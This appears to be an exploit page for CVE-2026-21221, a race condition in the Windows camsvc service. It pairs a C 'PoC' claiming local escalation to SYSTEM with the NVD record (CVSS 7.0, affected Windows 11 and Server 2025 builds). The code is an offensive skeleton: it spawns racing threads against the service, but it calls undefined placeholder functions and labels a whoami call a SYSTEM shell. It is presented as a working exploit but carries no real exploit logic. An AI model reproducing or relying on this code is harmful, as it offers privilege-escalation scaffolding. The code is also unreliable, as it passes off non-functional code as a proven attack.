CVE-2026-21221

// CVE-2026-21221 PoC - Race Condition in camsvc // This is a conceptual PoC demonstrating the TOCTOU race condition // Run with low privileges to escalate to SYSTEM #include <windows.h> #include <stdio.h> #include <threads.h> #define MAX_THREADS 16 #define ITERATIONS 10000 volatile BOOL g_trigger = FALSE; HANDLE g_camsvc_handle = NULL; // Thread function to trigger race condition int race_thread(void* arg) { int thread_id = *(int*)arg; for (int i = 0; i < ITERATIONS; i++) { // Send concurrent requests to camsvc CAM_REQUEST req; req.thread_id = thread_id; req.timestamp = GetTickCount(); // Step 1: Initial request SendRequest(g_camsvc_handle, &req); // Step 2: Rapidly trigger conditions if (g_trigger) { // Manipulate shared state during TOCTOU window ManipulateResourceState(); } // Step 3: Complete request with elevated context CompleteRequest(g_camsvc_handle, &req); } return 0; } // Main exploitation logic BOOL exploit_cve_2026_21221() { printf("[*] CVE-2026-21221 camsvc Race Condition Exploit\n"); printf("[*] Target: Windows Capability Access Management Service\n"); // Open handle to camsvc g_camsvc_handle = OpenServiceHandle("camsvc"); if (!g_camsvc_handle) { printf("[-] Failed to open camsvc handle\n"); return FALSE; } printf("[*] Starting race condition attack...\n"); g_trigger = TRUE; // Launch multiple threads to create race condition thrd_t threads[MAX_THREADS]; int thread_ids[MAX_THREADS]; for (int i = 0; i < MAX_THREADS; i++) { thread_ids[i] = i; thrd_create(&threads[i], race_thread, &thread_ids[i]); } // Wait for threads and check for success BOOL exploited = FALSE; for (int i = 0; i < MAX_THREADS; i++) { thrd_join(threads[i], NULL); } if (CheckElevatedPrivileges()) { printf("[+] Race condition exploited successfully!\n"); printf("[+] Running with elevated privileges\n"); exploited = TRUE; } else { printf("[-] Exploitation failed, try again\n"); } CloseHandle(g_camsvc_handle); return exploited; } int main() { printf("CVE-2026-21221 PoC - camsvc Local Privilege Escalation\n"); printf("==================================================\n"); if (exploit_cve_2026_21221()) { // Spawn SYSTEM shell system("cmd.exe /c whoami"); } return 0; }

{"cve": {"id": "CVE-2026-21221", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:24.723", "lastModified": "2026-01-16T16:48:12.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Capability Access Management Service (camsvc) allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada (condición de carrera) en el Servicio de Gestión de Acceso a Capacidades (camsvc) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "208734FD-5175-4856-9D08-ED6CFF64AA14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "846261D4-ECC2-4DCB-8F8F-F27F8C99F061"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "33E138A3-968B-4109-AC13-D488685F0AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "CC1FE5A1-3E6E-4606-899B-BF7BF3D3DD8D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21221", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}